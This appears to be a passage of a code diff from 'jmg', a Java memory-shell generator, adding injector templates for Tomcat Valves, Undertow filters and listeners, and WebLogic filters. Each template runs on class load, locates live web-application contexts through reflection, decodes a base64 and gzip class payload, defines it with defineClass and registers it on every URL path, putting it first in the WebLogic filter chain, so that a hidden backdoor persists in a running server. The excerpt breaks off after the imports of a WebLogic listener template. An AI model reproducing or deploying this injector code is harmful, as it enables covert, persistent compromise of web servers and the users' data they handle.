+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/TomcatValveInjectorTpl.java

@@ -0,0 +1,243 @@
+package jmg.core.template;
+
+
+import java.io.*;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+
+/**
+ * Date: 2022/11/01
+ * Author: pen4uin
+ * Description: Tomcat Valve 注入器
+ * Tested version：
+ * jdk    v1.8.0_275
+ * tomcat v8.5.83, v9.0.67
+ */
+public class TomcatValveInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+
+    static {
+        new TomcatValveInjectorTpl();
+    }
+
+    public TomcatValveInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object valve = getValve(context);
+                if (valve == null) continue;
+                injectValve(context, valve);
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        Object context = null;
+        try {
+            for (Thread thread : threads) {
+                // 适配 v5/v6/7/8
+                if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
+                    HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
+                    // 原: map.get("localhost")
+                    // 之前没有对 StandardHost 进行遍历，只考虑了 localhost 的情况，如果目标自定义了 host,则会获取不到对应的 context，导致注入失败
+                    for (Object key : childrenMap.keySet()) {
+                        HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
+                        // 原: context = children.get("");
+                        // 之前没有对context map进行遍历，只考虑了 ROOT context 存在的情况，如果目标tomcat不存在 ROOT context，则会注入失败
+                        for (Object key1 : children.keySet()) {
+                            context = children.get(key1);
+                            if (context != null && context.getClass().getName().contains("StandardContext"))
+                                contexts.add(context);
+                            // 兼容 spring boot 2.x embedded tomcat
+                            if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
+                                contexts.add(context);
+                        }
+                    }
+                }
+                // 适配 tomcat v9
+                else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
+                    context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
+                    if (context != null && context.getClass().getName().contains("StandardContext"))
+                        contexts.add(context);
+                    if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext"))
+                        contexts.add(context);
+                }
+            }
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+        return contexts;
+    }
+
+    private Object getValve(Object context) {
+        Object valve = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            valve = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                valve = clazz.newInstance();
+            } catch (Exception e2) {
+                e2.printStackTrace();
+            }
+        }
+        return valve;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+
+    public boolean isInjected(Object context, String valveClassName) throws Exception {
+        Object obj = invokeMethod(context, "getPipeline");
+        Object[] valves = (Object[]) invokeMethod(obj, "getValves");
+        List<Object> valvesList = Arrays.asList(valves);
+        for (Object valve : valvesList) {
+            if (valve.getClass().getName().contains(valveClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public void injectValve(Object context, Object valve) throws Exception {
+        if (isInjected(context, valve.getClass().getName())) {
+            System.out.println(valve.getClass().getName() + "exist, skipping.");
+            return;
+        }
+        try {
+            Class ValveClass;
+            try {
+                ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
+            } catch (Exception e) {
+                ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
+            }
+            Object obj = invokeMethod(context, "getPipeline");
+            // Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
+            // obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
+            invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+
+    private static synchronized Object getFV(Object var0, String var1) throws Exception {
+        Field var2 = null;
+        Class var3 = var0.getClass();
+
+        while (var3 != Object.class) {
+            try {
+                var2 = var3.getDeclaredField(var1);
+                break;
+            } catch (NoSuchFieldException var5) {
+                var3 = var3.getSuperclass();
+            }
+        }
+
+        if (var2 == null) {
+            throw new NoSuchFieldException(var1);
+        } else {
+            var2.setAccessible(true);
+            return var2.get(var0);
+        }
+    }
+
+    private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(obj, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/UndertowFilterInjectorTpl.java

@@ -0,0 +1,207 @@
+package jmg.core.template;
+
+import javax.servlet.DispatcherType;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.zip.GZIPInputStream;
+
+
+public class UndertowFilterInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new UndertowFilterInjectorTpl();
+    }
+
+
+    public UndertowFilterInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        for (int i = 0; i < threads.length; i++) {
+            try {
+                Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
+                if (servletContext != null)
+                    contexts.add(servletContext);
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+    private Object getFilter(Object context) {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return filter;
+    }
+
+    public void addFilter(Object context, Object filter) {
+        String filterClassName = filter.getClass().getName();
+        try {
+            if (isInjected(context, filterClassName)) {
+                return;
+            }
+            Class filterInfoClass = Class.forName("io.undertow.servlet.api.FilterInfo");
+            Object deploymentInfo = getFV(context, "deploymentInfo");
+            Object filterInfo = filterInfoClass.getConstructor(String.class, Class.class).newInstance(filterClassName, filter.getClass());
+            invokeMethod(deploymentInfo, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
+            Object deploymentImpl = getFV(context, "deployment");
+            Object managedFilters = invokeMethod(deploymentImpl, "getFilters");
+            invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
+            invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, filterClassName, getUrlPattern(), DispatcherType.REQUEST});
+        } catch (Throwable e) {
+        }
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        Map<String, Object> filters = (HashMap) getFV(getFV(context, "deploymentInfo"), "filters");
+        for (Map.Entry<String, Object> filter : filters.entrySet()) {
+            Class filterClass = (Class) getFV(filter.getValue(), "filterClass");
+            if (filterClass.getName().equals(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/UndertowListenerInjectorTpl.java

@@ -0,0 +1,202 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.zip.GZIPInputStream;
+
+
+public class UndertowListenerInjectorTpl {
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new UndertowListenerInjectorTpl();
+    }
+
+    public UndertowListenerInjectorTpl() {
+        try {
+            List<Object> contexts = getContext();
+            for (Object context : contexts) {
+                Object listener = getListener(context);
+                addListener(context, listener);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
+        List<Object> contexts = new ArrayList<Object>();
+        Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
+        for (int i = 0; i < threads.length; i++) {
+            try {
+                Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
+                Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
+                if (servletContext != null) contexts.add(servletContext);
+            } catch (Exception ignored) {
+            }
+        }
+        return contexts;
+    }
+
+
+    private Object getListener(Object context) {
+        Object listener = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            listener = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                listener = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return listener;
+    }
+
+    // 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
+    // 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
+    public void addListener(Object context, Object listener) {
+        try {
+            if (isInjected(context, listener.getClass().getName())) {
+                return;
+            }
+            Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
+            Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
+            Object deploymentImpl = getFV(context, "deployment");
+            Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
+            Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
+            Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
+            invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
+        } catch (Throwable e) {
+        }
+    }
+
+    public boolean isInjected(Object context, String evilClassName) throws Exception {
+        List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
+        for (int i = 0; i < allListeners.size(); i++) {
+            Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
+            if (listener.getName().contains(evilClassName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+    synchronized void setFV(Object var0, String var1, Object val) throws Exception {
+        getF(var0, var1).set(var0, val);
+    }
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/WebLogicFilterInjectorTpl.java

@@ -0,0 +1,292 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+public class WebLogicFilterInjectorTpl {
+
+    public String getUrlPattern() {
+        return "/*";
+    }
+
+
+    public String getClassName() {
+        return "";
+    }
+
+    public String getBase64String() throws IOException {
+        return "";
+    }
+
+    static {
+        new WebLogicFilterInjectorTpl();
+    }
+
+
+    public WebLogicFilterInjectorTpl() {
+        try {
+            Object[] contexts = getContext();
+            for (Object context : contexts) {
+                Object filter = getFilter(context);
+                addFilter(context, filter);
+            }
+        } catch (Exception ignored) {
+
+        }
+
+    }
+
+    public static Object[] getContextsByMbean() throws Throwable {
+        HashSet webappContexts = new HashSet();
+        Class serverRuntimeClass = Class.forName("weblogic.t3.srvr.ServerRuntime");
+        Class webAppServletContextClass = Class.forName("weblogic.servlet.internal.WebAppServletContext");
+        Method theOneMethod = serverRuntimeClass.getMethod("theOne");
+        theOneMethod.setAccessible(true);
+        Object serverRuntime = theOneMethod.invoke(null);
+
+        Method getApplicationRuntimesMethod = serverRuntime.getClass().getMethod("getApplicationRuntimes");
+        getApplicationRuntimesMethod.setAccessible(true);
+        Object applicationRuntimes = getApplicationRuntimesMethod.invoke(serverRuntime);
+        int applicationRuntimeSize = Array.getLength(applicationRuntimes);
+        for (int i = 0; i < applicationRuntimeSize; i++) {
+            Object applicationRuntime = Array.get(applicationRuntimes, i);
+
+            try {
+                Method getComponentRuntimesMethod = applicationRuntime.getClass().getMethod("getComponentRuntimes");
+                Object componentRuntimes = getComponentRuntimesMethod.invoke(applicationRuntime);
+                int componentRuntimeSize = Array.getLength(componentRuntimes);
+                for (int j = 0; j < componentRuntimeSize; j++) {
+                    Object context = getFV(Array.get(componentRuntimes, j), "context");
+                    if (webAppServletContextClass.isInstance(context)) {
+                        webappContexts.add(context);
+                    }
+                }
+            } catch (Throwable e) {
+
+            }
+
+            try {
+                Set childrenSet = (Set) getFV(applicationRuntime, "children");
+                Iterator iterator = childrenSet.iterator();
+
+                while (iterator.hasNext()) {
+                    Object componentRuntime = iterator.next();
+                    try {
+                        Object context = getFV(componentRuntime, "context");
+                        if (webAppServletContextClass.isInstance(context)) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable e) {
+
+                    }
+                }
+
+            } catch (Throwable e) {
+
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContextsByThreads() throws Throwable {
+        HashSet webappContexts = new HashSet();
+        ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
+        int threadCount = threadGroup.activeCount();
+        Thread[] threads = new Thread[threadCount];
+        threadGroup.enumerate(threads);
+        for (int i = 0; i < threadCount; i++) {
+            Thread thread = threads[i];
+            if (thread != null) {
+                Object workEntry = getFV(thread, "workEntry");
+                if (workEntry != null) {
+                    try {
+                        Object context = null;
+                        Object connectionHandler = getFV(workEntry, "connectionHandler");
+                        if (connectionHandler != null) {
+                            Object request = getFV(connectionHandler, "request");
+                            if (request != null) {
+                                context = getFV(request, "context");
+                            }
+                        }
+                        if (context == null) {
+                            context = getFV(workEntry, "context");
+                        }
+
+                        if (context != null) {
+                            webappContexts.add(context);
+                        }
+                    } catch (Throwable e) {
+
+                    }
+                }
+            }
+        }
+        return webappContexts.toArray();
+    }
+
+    public static Object[] getContext() {
+        HashSet webappContexts = new HashSet();
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByMbean()));
+        } catch (Throwable e) {
+
+        }
+        try {
+            webappContexts.addAll(Arrays.asList(getContextsByThreads()));
+        } catch (Throwable e) {
+
+        }
+        return webappContexts.toArray();
+    }
+
+    private Object getFilter(Object context) {
+        Object filter = null;
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        if (classLoader == null) {
+            classLoader = context.getClass().getClassLoader();
+        }
+        try {
+            filter = classLoader.loadClass(getClassName()).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
+                Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
+                defineClass.setAccessible(true);
+                Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
+                filter = clazz.newInstance();
+            } catch (Throwable tt) {
+            }
+        }
+        return filter;
+    }
+
+    /**
+     * https://github.com/BeichenDream/GodzillaMemoryShellProject
+     */
+    public void addFilter(Object context, Object filter) throws Exception {
+        String filterClassName = filter.getClass().getName();
+        if (!isInjected(context, filterClassName)) {
+            try {
+                Object filterManager = invokeMethod(context, "getFilterManager");
+                Object servletClassLoader = invokeMethod(context, "getServletClassLoader");
+                Map cachedClasses = (Map) getFV(servletClassLoader, "cachedClasses");
+                //或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了
+                cachedClasses.put(filterClassName, filter.getClass());
+                invokeMethod(filterManager, "registerFilter", new Class[]{String.class, String.class, String[].class, String[].class, Map.class, String[].class}, new Object[]{filterClassName, filterClassName, new String[]{getUrlPattern()}, null, null, new String[]{"REQUEST", "FORWARD", "INCLUDE", "ERROR"}});
+                //将filter置为第一位
+                List filterPatternList = (List) getFV(filterManager, "filterPatternList");
+                Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1);
+                filterPatternList.add(0, currentMapping);
+            } catch (Throwable e) {
+            }
+        }
+    }
+
+    public static boolean isInjected(Object context, String filterClassName) throws Exception {
+        HashMap filters = (HashMap) getFV(getFV(context, "filterManager"), "filters");
+        for (Object obj : filters.keySet()) {
+            if (obj.toString().contains(filterClassName))
+                return true;
+        }
+        return false;
+    }
+
+    static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class<?> decoderClass;
+        try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
+        } catch (Exception ignored) {
+            decoderClass = Class.forName("java.util.Base64");
+            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
+        }
+    }
+
+    public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
+        GZIPInputStream ungzip = new GZIPInputStream(in);
+        byte[] buffer = new byte[256];
+        int n;
+        while ((n = ungzip.read(buffer)) >= 0) {
+            out.write(buffer, 0, n);
+        }
+        return out.toByteArray();
+    }
+
+
+    static Object getFV(Object obj, String fieldName) throws Exception {
+        Field field = getF(obj, fieldName);
+        field.setAccessible(true);
+        return field.get(obj);
+    }
+
+    static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
+        Class<?> clazz = obj.getClass();
+        while (clazz != null) {
+            try {
+                Field field = clazz.getDeclaredField(fieldName);
+                field.setAccessible(true);
+                return field;
+            } catch (NoSuchFieldException e) {
+                clazz = clazz.getSuperclass();
+            }
+        }
+        throw new NoSuchFieldException(fieldName);
+    }
+
+
+    private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
+        return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
+    }
+
+    public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
+        Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
+        Method method = null;
+
+        Class tempClass = clazz;
+        while (method == null && tempClass != null) {
+            try {
+                if (paramClazz == null) {
+                    // Get all declared methods of the class
+                    Method[] methods = tempClass.getDeclaredMethods();
+                    for (int i = 0; i < methods.length; i++) {
+                        if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
+                            method = methods[i];
+                            break;
+                        }
+                    }
+                } else {
+                    method = tempClass.getDeclaredMethod(methodName, paramClazz);
+                }
+            } catch (NoSuchMethodException e) {
+                tempClass = tempClass.getSuperclass();
+            }
+        }
+        if (method == null) {
+            throw new NoSuchMethodException(methodName);
+        }
+        method.setAccessible(true);
+        if (obj instanceof Class) {
+            try {
+                return method.invoke(null, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        } else {
+            try {
+                return method.invoke(obj, param);
+            } catch (IllegalAccessException e) {
+                throw new RuntimeException(e.getMessage());
+            }
+        }
+    }
+}

jmg-core/src/main/java/jmg/core/template/WebLogicListenerInjectorTpl.java

@@ -0,0 +1,274 @@
+package jmg.core.template;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.*;
+import java.util.zip.GZIPInputStream;
+
+
